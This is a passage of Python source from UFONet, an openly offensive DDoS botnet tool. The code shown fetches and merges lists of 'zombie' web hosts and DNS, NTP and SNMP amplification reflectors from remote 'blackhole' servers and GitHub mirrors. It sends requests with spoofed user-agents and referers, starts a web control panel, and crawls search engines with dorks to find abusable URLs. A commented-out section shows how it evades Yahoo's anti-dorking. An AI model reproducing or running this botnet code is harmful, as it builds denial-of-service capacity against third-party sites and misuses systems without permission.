troops_reply = ""
3101
try:
3102
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
3103
robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3104
except:
3105
robots_reply = ""
3106
try:
3107
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
3108
drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3109
except:
3110
drones_reply = ""
3111
try:
3112
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
3113
reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3114
except:
3115
reflectors_reply = ""
3116
try:
3117
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
3118
crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3119
except:
3120
crystals_reply = ""
3121
try:
3122
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
3123
warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3124
except:
3125
warps_reply = ""
3126
try:
3127
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
3128
bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3129
except:
3130
bosons_reply = ""
3131
else:
3132
if self.options.proxy: # set proxy
3133
self.proxy_transport(options.proxy)
3134
try:
3135
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
3136
abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3137
except:
3138
abductions_reply = ""
3139
try:
3140
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
3141
troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3142
except:
3143
troops_reply = ""
3144
try:
3145
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
3146
robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3147
except:
3148
robots_reply = ""
3149
try:
3150
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
3151
drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3152
except:
3153
drones_reply = ""
3154
try:
3155
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
3156
reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3157
except:
3158
reflectors_reply = ""
3159
try:
3160
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
3161
crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3162
except:
3163
crystals_reply = ""
3164
try:
3165
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
3166
warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3167
except:
3168
warps_reply = ""
3169
try:
3170
req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
3171
bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3172
except:
3173
bosons_reply = ""
3174
if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
3175
print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX FAILED!]\n")
3176
print("[AI] [Control] [Radar] [Blackhole] [Node] Action: [Removing!]")
3177
print('-'*12 + '\n')
3178
else:
3179
print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX READY!] ;-)")
3180
print('-'*12)
3181
num_zombies = 0
3182
if abductions_reply:
3183
f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
3184
f_out_abductions = open('botnet/abductions.txt', 'wb')
3185
f_out_abductions.write(f_in_abductions.read())
3186
f_in_abductions.close()
3187
f_out_abductions.close()
3188
with open('botnet/abductions.txt') as f:
3189
for _ in f:
3190
num_zombies = num_zombies + 1
3191
print("\n[Info] [Radar] [Blackhole] Total [Zombies]: "+ str(num_zombies))
3192
num_robots = 0
3193
if robots_reply:
3194
f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
3195
f_out_robots = open('botnet/robots.txt', 'wb')
3196
f_out_robots.write(f_in_robots.read())
3197
f_in_robots.close()
3198
f_out_robots.close()
3199
with open('botnet/robots.txt') as f:
3200
for _ in f:
3201
num_robots = num_robots + 1
3202
print("[Info] [Radar] [Blackhole] Total [Droids] : "+ str(num_robots))
3203
num_aliens = 0
3204
if troops_reply:
3205
f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
3206
f_out_troops = open('botnet/troops.txt', 'wb')
3207
f_out_troops.write(f_in_troops.read())
3208
f_in_troops.close()
3209
f_out_troops.close()
3210
with open('botnet/troops.txt') as f:
3211
for _ in f:
3212
num_aliens = num_aliens + 1
3213
print("[Info] [Radar] [Blackhole] Total [Aliens] : "+ str(num_aliens))
3214
num_drones = 0
3215
if drones_reply:
3216
f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
3217
f_out_drones = open('botnet/drones.txt', 'wb')
3218
f_out_drones.write(f_in_drones.read())
3219
f_in_drones.close()
3220
f_out_drones.close()
3221
with open('botnet/drones.txt') as f:
3222
for _ in f:
3223
num_drones = num_drones + 1
3224
print("[Info] [Radar] [Blackhole] Total [UCAVs] : "+ str(num_drones))
3225
num_reflectors = 0
3226
if reflectors_reply:
3227
f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
3228
f_out_reflectors = open('botnet/reflectors.txt', 'wb')
3229
f_out_reflectors.write(f_in_reflectors.read())
3230
f_in_reflectors.close()
3231
f_out_reflectors.close()
3232
with open('botnet/reflectors.txt') as f:
3233
for _ in f:
3234
num_reflectors = num_reflectors + 1
3235
print("[Info] [Radar] [Blackhole] Total [X-RPCs] : "+ str(num_reflectors))
3236
num_crystals = 1 # black magic!
3237
if crystals_reply:
3238
f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
3239
f_out_crystals = open('botnet/crystals.txt', 'wb')
3240
f_out_crystals.write(f_in_crystals.read())
3241
f_in_crystals.close()
3242
f_out_crystals.close()
3243
with open('botnet/crystals.txt') as f:
3244
for _ in f:
3245
num_crystals = num_crystals + 1
3246
print("[Info] [Radar] [Blackhole] Total [NTPs] : "+ str(num_crystals))
3247
num_warps = 1 # black magic!
3248
if warps_reply:
3249
f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
3250
f_out_warps = open('botnet/warps.txt', 'wb')
3251
f_out_warps.write(f_in_warps.read())
3252
f_in_warps.close()
3253
f_out_warps.close()
3254
with open('botnet/warps.txt') as f:
3255
for _ in f:
3256
num_warps = num_warps + 1
3257
print("[Info] [Radar] [Blackhole] Total [DNSs] : "+ str(num_warps))
3258
num_bosons = 0
3259
if bosons_reply:
3260
f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
3261
f_out_bosons = open('botnet/bosons.txt', 'wb')
3262
f_out_bosons.write(f_in_bosons.read())
3263
f_in_bosons.close()
3264
f_out_bosons.close()
3265
with open('botnet/bosons.txt') as f:
3266
for _ in f:
3267
num_bosons = num_bosons + 1
3268
print("[Info] [Radar] [Blackhole] Total [SNMPs] : "+ str(num_bosons))
3269
print('-'*12 + '\n')
3270
zombies = self.extract_zombies()
3271
if not zombies:
3272
return
3273
zombies_added = 0
3274
if os.path.isfile('botnet/abductions.txt'):
3275
f = open('botnet/abductions.txt')
3276
abductions = f.readlines()
3277
abductions = [abduction.strip() for abduction in abductions]
3278
f.close()
3279
fz = open(self.zombies_file)
3280
zombies = fz.readlines()
3281
zombies = [zombie.strip() for zombie in zombies]
3282
fz.close()
3283
az = open('botnet/zombies.txt', 'a')
3284
for abduction in abductions:
3285
if abduction not in zombies:
3286
zombies_added = zombies_added + 1
3287
az.write(abduction+os.linesep)
3288
else:
3289
pass
3290
az.close()
3291
os.remove('botnet/abductions.txt') # remove abductions file
3292
print("[Info] [Radar] [Blackhole] Added [Zombies]: " + str(zombies_added))
3293
droids = self.extract_droids()
3294
if not droids:
3295
return
3296
droids_added = 0
3297
if os.path.isfile('botnet/robots.txt'):
3298
f = open('botnet/robots.txt')
3299
robots = f.readlines()
3300
robots = [robot.strip() for robot in robots]
3301
f.close()
3302
fz = open(self.droids_file)
3303
droids = fz.readlines()
3304
droids = [droid.strip() for droid in droids]
3305
fz.close()
3306
ad = open('botnet/droids.txt', 'a')
3307
for robot in robots:
3308
if robot not in droids:
3309
droids_added = droids_added + 1
3310
ad.write(robot+os.linesep)
3311
else:
3312
pass
3313
ad.close()
3314
os.remove('botnet/robots.txt') # remove robots file
3315
print("[Info] [Radar] [Blackhole] Added [Droids] : " + str(droids_added))
3316
aliens = self.extract_aliens()
3317
if not aliens:
3318
return
3319
aliens_added = 0
3320
if os.path.isfile('botnet/troops.txt'):
3321
f = open('botnet/troops.txt')
3322
troops = f.readlines()
3323
troops = [troop.strip() for troop in troops]
3324
f.close()
3325
fz = open(self.aliens_file)
3326
aliens = fz.readlines()
3327
aliens = [alien.strip() for alien in aliens]
3328
fz.close()
3329
at = open('botnet/aliens.txt', 'a')
3330
for troop in troops:
3331
if troop not in aliens:
3332
aliens_added = aliens_added + 1
3333
at.write(troop+os.linesep)
3334
else:
3335
pass
3336
at.close()
3337
os.remove('botnet/troops.txt') # remove troops file
3338
print("[Info] [Radar] [Blackhole] Added [Aliens] : " + str(aliens_added))
3339
ucavs = self.extract_ucavs()
3340
if not ucavs:
3341
return
3342
ucavs_added = 0
3343
if os.path.isfile('botnet/drones.txt'):
3344
f = open('botnet/drones.txt')
3345
drones = f.readlines()
3346
drones = [drone.strip() for drone in drones]
3347
f.close()
3348
fz = open(self.ucavs_file)
3349
ucavs = fz.readlines()
3350
ucavs = [ucav.strip() for ucav in ucavs]
3351
fz.close()
3352
au = open('botnet/ucavs.txt', 'a')
3353
for drone in drones:
3354
if drone not in ucavs:
3355
ucavs_added = ucavs_added + 1
3356
au.write(drone+os.linesep)
3357
else:
3358
pass
3359
au.close()
3360
os.remove('botnet/drones.txt') # remove ucavs file
3361
print("[Info] [Radar] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
3362
rpcs = self.extract_rpcs()
3363
if not rpcs:
3364
return
3365
rpcs_added = 0
3366
if os.path.isfile('botnet/reflectors.txt'):
3367
f = open('botnet/reflectors.txt')
3368
reflectors = f.readlines()
3369
reflectors = [reflector.strip() for reflector in reflectors]
3370
f.close()
3371
fz = open(self.rpcs_file)
3372
rpcs = fz.readlines()
3373
rpcs = [rpc.strip() for rpc in rpcs]
3374
fz.close()
3375
ar = open('botnet/rpcs.txt', 'a')
3376
for reflector in reflectors:
3377
if reflector not in rpcs:
3378
rpcs_added = rpcs_added + 1
3379
ar.write(reflector+os.linesep)
3380
else:
3381
pass
3382
ar.close()
3383
os.remove('botnet/reflectors.txt') # remove rpcs file
3384
print("[Info] [Radar] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
3385
ntps = self.extract_ntps()
3386
if not ntps:
3387
return
3388
ntps_added = 0
3389
if os.path.isfile('botnet/crystals.txt'):
3390
f = open('botnet/crystals.txt')
3391
crystals = f.readlines()
3392
crystals = [crystal.strip() for crystal in crystals]
3393
f.close()
3394
fz = open(self.ntps_file)
3395
ntps = fz.readlines()
3396
ntps = [ntp.strip() for ntp in ntps]
3397
fz.close()
3398
an = open('botnet/ntp.txt', 'a')
3399
for crystal in crystals:
3400
if crystal not in ntps:
3401
ntps_added = ntps_added + 1
3402
an.write(crystal+os.linesep)
3403
else:
3404
pass
3405
an.close()
3406
os.remove('botnet/crystals.txt') # remove crystals file
3407
print("[Info] [Radar] [Blackhole] Added [NTPs] : " + str(ntps_added))
3408
dnss = self.extract_dnss()
3409
if not dnss:
3410
return
3411
dnss_added = 0
3412
if os.path.isfile('botnet/warps.txt'):
3413
f = open('botnet/warps.txt')
3414
warps = f.readlines()
3415
warps = [warp.strip() for warp in warps]
3416
f.close()
3417
fz = open(self.dnss_file)
3418
dnss = fz.readlines()
3419
dnss = [dns.strip() for dns in dnss]
3420
fz.close()
3421
ad = open('botnet/dns.txt', 'a')
3422
for warp in warps:
3423
if warp not in dnss:
3424
dnss_added = dnss_added + 1
3425
ad.write(warp+os.linesep)
3426
else:
3427
pass
3428
ad.close()
3429
os.remove('botnet/warps.txt') # remove warps file
3430
print("[Info] [Radar] [Blackhole] Added [DNSs] : " + str(dnss_added))
3431
snmps = self.extract_snmps()
3432
if not snmps:
3433
return
3434
snmps_added = 0
3435
if os.path.isfile('botnet/bosons.txt'):
3436
f = open('botnet/bosons.txt')
3437
bosons = f.readlines()
3438
bosons = [boson.strip() for boson in bosons]
3439
f.close()
3440
fz = open(self.snmps_file)
3441
snmps = fz.readlines()
3442
snmps = [snmp.strip() for snmp in snmps]
3443
fz.close()
3444
asn = open('botnet/snmp.txt', 'a')
3445
for boson in bosons:
3446
if boson not in snmps:
3447
snmps_added = snmps_added + 1
3448
asn.write(boson+os.linesep)
3449
else:
3450
pass
3451
asn.close()
3452
os.remove('botnet/bosons.txt') # remove snmps file
3453
print("[Info] [Radar] [Blackhole] Added [SNMPs] : " + str(snmps_added))
3454
print('-'*12 + '\n')
3455
if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
3456
print("[AI] [Control] [Radar] [Blackhole] [Node] These [Zombies] are already in your [Army] -> [Passing!]")
3457
print('-'*12 + '\n')
3458
else:
3459
total_zombies = zombies_added + aliens_added + droids_added + ucavs_added + rpcs_added + ntps_added + dnss_added + snmps_added
3460
print("[Info] [AI] Congratulations!. Total [Zombies] added: " + str(total_zombies))
3461
print('-'*12)
3462
print("\n[Info] [AI] Botnet updated! -> ;-)\n")
3463
self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
3464
stream = str(enc_globalnet_owner)+self.globalnet_msg_sep+str(enc_globalnet_comment)+self.globalnet_msg_sep+str(enc_globalnet_warp)+self.globalnet_msg_sep+str(enc_globalnet_ip)
3465
globalnet_list.append(stream+os.linesep)
3466
print('='*22 + '\n')
3467
if globalnet_list is not None:
3468
f = open(self.globalnet_file, "w") # write to globalnet.txt
3469
for node in globalnet_list:
3470
f.write(node)
3471
f.close()
3472
3473
def downloading_github_list(self):
3474
# add your mirror to protect/share/distribute... [Zombies]
3475
try:
3476
print("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n")
3477
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
3478
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
3479
if self.options.timeout: # set timeout
3480
try:
3481
timeout = int(self.options.timeout)
3482
except:
3483
timeout = 5
3484
else:
3485
timeout = 5
3486
if timeout < 1:
3487
timeout = 5
3488
if self.options.proxy: # set proxy
3489
self.proxy_transport(self.options.proxy)
3490
try:
3491
req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
3492
zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
3493
except:
3494
zombies_reply = ""
3495
try:
3496
req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
3497
aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
3498
except:
3499
aliens_reply = ""
3500
try:
3501
req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
3502
dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
3503
except:
3504
dns_reply = ""
3505
try:
3506
req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
3507
droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
3508
except:
3509
droids_reply = ""
3510
try:
3511
req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
3512
rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
3513
except:
3514
rpcs_reply = ""
3515
try:
3516
req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
3517
ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
3518
except:
3519
ucavs_reply = ""
3520
try:
3521
req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
3522
ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
3523
except:
3524
ntp_reply = ""
3525
try:
3526
req = urllib.request.Request(self.github_zombies+'snmp.txt', None, headers)
3527
snmp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
3528
except:
3529
snmp_reply = ""
3530
if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "" and snmp_reply == "":
3531
print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
3532
print('-'*12 + '\n')
3533
print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
3534
return
3535
f = open('botnet/abductions.txt', 'w') # zombies
3536
f.write(zombies_reply)
3537
f.close()
3538
f = open('botnet/troops.txt', 'w') # aliens
3539
f.write(aliens_reply)
3540
f.close()
3541
f = open('botnet/crystals.txt', 'w') # dns
3542
f.write(dns_reply)
3543
f.close()
3544
f = open('botnet/robots.txt', 'w') # droids
3545
f.write(droids_reply)
3546
f.close()
3547
f = open('botnet/drones.txt', 'w') # ucavs
3548
f.write(ucavs_reply)
3549
f.close()
3550
f = open('botnet/reflectors.txt', 'w') # rpcs
3551
f.write(rpcs_reply)
3552
f.close()
3553
f = open('botnet/warps.txt', 'w') # ntp
3554
f.write(ntp_reply)
3555
f.close()
3556
f = open('botnet/bosons.txt', 'w') # snmp
3557
f.write(snmp_reply)
3558
f.close()
3559
print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
3560
except:
3561
print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
3562
print('-'*12 + '\n')
3563
print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
3564
return
3565
print('-'*12 + '\n')
3566
num_abductions = 0
3567
with open('botnet/abductions.txt') as f: # zombies
3568
for _ in f:
3569
num_abductions = num_abductions + 1
3570
print("[Info] Zombies: " + str(num_abductions))
3571
num_troops = 0
3572
with open('botnet/troops.txt') as f: # aliens
3573
for _ in f:
3574
num_troops = num_troops + 1
3575
print("[Info] Aliens : " + str(num_troops))
3576
num_robots = 0
3577
with open('botnet/robots.txt') as f: # droids
3578
for _ in f:
3579
num_robots = num_robots + 1
3580
print("[Info] Droids : " + str(num_robots))
3581
num_drones = 0
3582
with open('botnet/drones.txt') as f: # ucavs
3583
for _ in f:
3584
num_drones = num_drones + 1
3585
print("[Info] UCAVs : " + str(num_drones))
3586
num_reflectors = 0
3587
with open('botnet/reflectors.txt') as f: # rpcs
3588
for _ in f:
3589
num_reflectors = num_reflectors + 1
3590
print("[Info] X-RPCs : " + str(num_reflectors))
3591
num_crystals = 0
3592
with open('botnet/crystals.txt') as f: # dns
3593
for _ in f:
3594
num_crystals = num_crystals + 1
3595
print("[Info] DNSs : " + str(num_crystals))
3596
num_warps = 0
3597
with open('botnet/warps.txt') as f: # ntp
3598
for _ in f:
3599
num_warps = num_warps + 1
3600
print("[Info] NTPs : " + str(num_warps))
3601
num_bosons = 0
3602
with open('botnet/bosons.txt') as f: # snmp
3603
for _ in f:
3604
num_bosons = num_bosons + 1
3605
print("[Info] SNMPs : " + str(num_bosons))
3606
total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
3607
print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
3608
print('-'*12)
3609
if not self.options.forceyes:
3610
update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
3611
print('-'*25)
3612
else:
3613
update_reply = "Y"
3614
if update_reply == "n" or update_reply == "N":
3615
os.remove('botnet/abductions.txt') # remove zombies/abductions file
3616
os.remove('botnet/troops.txt') # remove aliens/troops file
3617
os.remove('botnet/crystals.txt') # remove dns/crystals file
3618
os.remove('botnet/robots.txt') # remove droids/robots file
3619
os.remove('botnet/drones.txt') # remove ucavs/drones file
3620
os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
3621
os.remove('botnet/warps.txt') # remove ntp/warps file
3622
os.remove('botnet/bosons.txt') # remove snmp/bosons file
3623
print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
3624
print('-'*25)
3625
print("\n[AI] "+self.exit_msg+"\n")
3626
else:
3627
zombies_ready = []
3628
f = open('botnet/abductions.txt')
3629
abductions = f.readlines()
3630
f.close()
3631
fz = open(self.zombies_file)
3632
zombies = fz.readlines()
3633
fz.close()
3634
for abduction in abductions:
3635
abduction = abduction.replace('\n','')
3636
if abduction not in zombies:
3637
zombies_ready.append(abduction)
3638
else:
3639
pass
3640
self.update_zombies(zombies_ready)
3641
os.remove('botnet/abductions.txt') # remove zombies/abductions file
3642
aliens_ready = []
3643
f = open('botnet/troops.txt')
3644
troops = f.readlines()
3645
f.close()
3646
fz = open(self.aliens_file)
3647
aliens = fz.readlines()
3648
fz.close()
3649
for alien in troops:
3650
alien = alien.replace('\n','')
3651
if alien not in aliens:
3652
aliens_ready.append(alien)
3653
else:
3654
pass
3655
self.update_aliens(aliens_ready)
3656
os.remove('botnet/troops.txt') # remove aliens/troops file
3657
dnss_ready = []
3658
f = open('botnet/crystals.txt')
3659
crystals = f.readlines()
3660
f.close()
3661
fz = open(self.dnss_file)
3662
dnss = fz.readlines()
3663
fz.close()
3664
for crystal in crystals:
3665
crystal = crystal.replace('\n','')
3666
if crystal not in dnss:
3667
dnss_ready.append(crystal)
3668
else:
3669
pass
3670
self.update_dnss(dnss_ready)
3671
os.remove('botnet/crystals.txt') # remove dns/crystals file
3672
droids_ready = []
3673
f = open('botnet/robots.txt')
3674
robots = f.readlines()
3675
f.close()
3676
fz = open(self.droids_file)
3677
droids = fz.readlines()
3678
fz.close()
3679
for droid in robots:
3680
droid = droid.replace('\n','')
3681
if droid not in droids:
3682
droids_ready.append(droid)
3683
else:
3684
pass
3685
self.update_droids(droids_ready)
3686
os.remove('botnet/robots.txt') # remove droids/robots file
3687
ucavs_ready = []
3688
f = open('botnet/drones.txt')
3689
drones = f.readlines()
3690
f.close()
3691
fz = open(self.ucavs_file)
3692
ucavs = fz.readlines()
3693
fz.close()
3694
for drone in drones:
3695
drone = drone.replace('\n','')
3696
if drone not in ucavs:
3697
ucavs_ready.append(drone)
3698
else:
3699
pass
3700
self.update_ucavs(ucavs_ready)
3701
os.remove('botnet/drones.txt') # remove UCAVs/drones file
3702
rpcs_ready = []
3703
f = open('botnet/reflectors.txt')
3704
reflectors = f.readlines()
3705
f.close()
3706
fz = open(self.rpcs_file)
3707
rpcs = fz.readlines()
3708
fz.close()
3709
for reflector in reflectors:
3710
reflector = reflector.replace('\n','')
3711
if reflector not in rpcs:
3712
rpcs_ready.append(reflector)
3713
else:
3714
pass
3715
self.update_rpcs(rpcs_ready)
3716
os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
3717
ntps_ready = []
3718
f = open('botnet/warps.txt')
3719
warps = f.readlines()
3720
f.close()
3721
fz = open(self.ntps_file)
3722
ntps = fz.readlines()
3723
fz.close()
3724
for warp in warps:
3725
warp = warp.replace('\n','')
3726
if warp not in ntps:
3727
ntps_ready.append(warp)
3728
else:
3729
pass
3730
self.update_ntps(ntps_ready)
3731
os.remove('botnet/warps.txt') # remove NTP/warps file
3732
snmps_ready = []
3733
f = open('botnet/bosons.txt')
3734
bosons = f.readlines()
3735
f.close()
3736
fz = open(self.snmps_file)
3737
snmps = fz.readlines()
3738
fz.close()
3739
for boson in bosons:
3740
boson = boson.replace('\n','')
3741
if boson not in snmps:
3742
snmps_ready.append(boson)
3743
else:
3744
pass
3745
self.update_snmps(snmps_ready)
3746
os.remove('botnet/bosons.txt') # remove SNMP/bosons file
3747
print("\n[Info] [AI] Botnet updated! -> ;-)")
3748
self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
3749
if not self.options.forceyes: # ask for update everything
3750
print('-'*25 + "\n")
3751
update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
3752
else:
3753
update_reply = "Y"
3754
if update_reply == "n" or update_reply == "N":
3755
print("\n[AI] "+self.exit_msg+"\n")
3756
return
3757
else:
3758
try:
3759
update_gui = self.update_gui_data() # update GUI data
3760
except:
3761
print('-'*25 +"\n")
3762
print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
3763
print('-'*25)
3764
print("\n[AI] "+self.exit_msg+"\n")
3765
return
3766
3767
def uploading_github_list(self):
3768
print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
3769
print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
3770
print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
3771
print(" 3. Share your updates in the #UFONet 'motherships'...\n")
3772
print('='*22 + '\n')
3773
print("[AI] "+self.exit_msg+"\n")
3774
3775
def create_web_interface(self):
3776
# launch webserver+gui
3777
from .webgui import ClientThread
3778
import webbrowser
3779
host = '0.0.0.0'
3780
port = 9999
3781
try:
3782
webbrowser.open('http://127.0.0.1:9999', new=1)
3783
tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
3784
tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
3785
tcpsock.bind((host,port))
3786
while True:
3787
tcpsock.listen(4)
3788
(clientsock, (ip, port)) = tcpsock.accept()
3789
newthread = ClientThread(ip, port, clientsock)
3790
newthread.start()
3791
except (KeyboardInterrupt, SystemExit):
3792
sys.exit()
3793
3794
def extract_dorks(self):
3795
# extract dorks from file (ex: 'dorks.txt')
3796
try:
3797
f = open(self.dorks_file)
3798
dorks = f.readlines()
3799
dorks = [ dork.replace('\n','') for dork in dorks ]
3800
f.close()
3801
if not dorks:
3802
if not options.autosearch:
3803
print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
3804
return
3805
else:
3806
return dorks
3807
except:
3808
if not options.autosearch:
3809
if os.path.exists(self.dorks_file) == True:
3810
print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
3811
return #sys.exit(2)
3812
else:
3813
print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
3814
return #sys.exit(2)
3815
else:
3816
return
3817
3818
def search_zombies(self, dork, zombies_found):
3819
# crawlering on search engine results to extract zombies
3820
options = self.options
3821
zombies = []
3822
if not options.engine: # default search engine
3823
options.engine = 'duck'
3824
if options.engine == 'bing': # using bing [28/02/2019: OK!]
3825
url = 'https://www.bing.com/search?'
3826
if options.search: # search from query
3827
q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
3828
if options.dorks or options.autosearch: # search from a dork
3829
q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
3830
start = 0 # set index number of first entry
3831
query_string = { 'q':q, 'first':start }
3832
data = urllib.parse.urlencode(query_string)
3833
url = url + data
3834
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
3835
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
3836
if options.num_results: # set number of results to search
3837
try:
3838
num_results = int(options.num_results)
3839
except:
3840
print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
3841
num_results = 10
3842
else:
3843
num_results = 10
3844
if options.verbose:
3845
print("[Info] [AI] [DORKING] Query used: " + url + " (POST: "+ data + ")")
3846
print("[Info] [AI] [DORKING] Max results: " +str(num_results)+"\n")
3847
try:
3848
if options.proxy: # set proxy
3849
self.proxy_transport(options.proxy)
3850
req = urllib.request.Request(url, None, headers)
3851
req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
3852
except:
3853
print('[Error] [AI] Unable to connect to: bing\n')
3854
if options.allengines or options.autosearch:
3855
return
3856
if not options.dorks or not options.autosearch:
3857
if not self.options.forceyes:
3858
update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
3859
else:
3860
update_reply = "Y"
3861
if update_reply == "n" or update_reply == "N":
3862
return #sys.exit(2)
3863
print("\nSearch engines available:")
3864
print('-'*25)
3865
for e in self.search_engines:
3866
print("+ "+e)
3867
print('-'*25)
3868
print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
3869
return #sys.exit(2)
3870
else:
3871
req_reply = ''
3872
regex = '</a></div><h2><a href="(.+?)">' # regex magics [25/08/2024 OK!]
3873
pattern = re.compile(regex)
3874
url_links = re.findall(pattern, req_reply)
3875
#elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
3876
# location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
3877
# #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
3878
# location = str(random.choice(location).strip()) # shuffle location
3879
# if location == "jp": # [28/02/2019]
3880
# url = 'https://search.yahoo.co.jp/search?'
3881
# else:
3882
# url = 'https://'+location+'.search.yahoo.com/search?'
3883
# if options.search: # search from query
3884
# if location == "jp":
3885
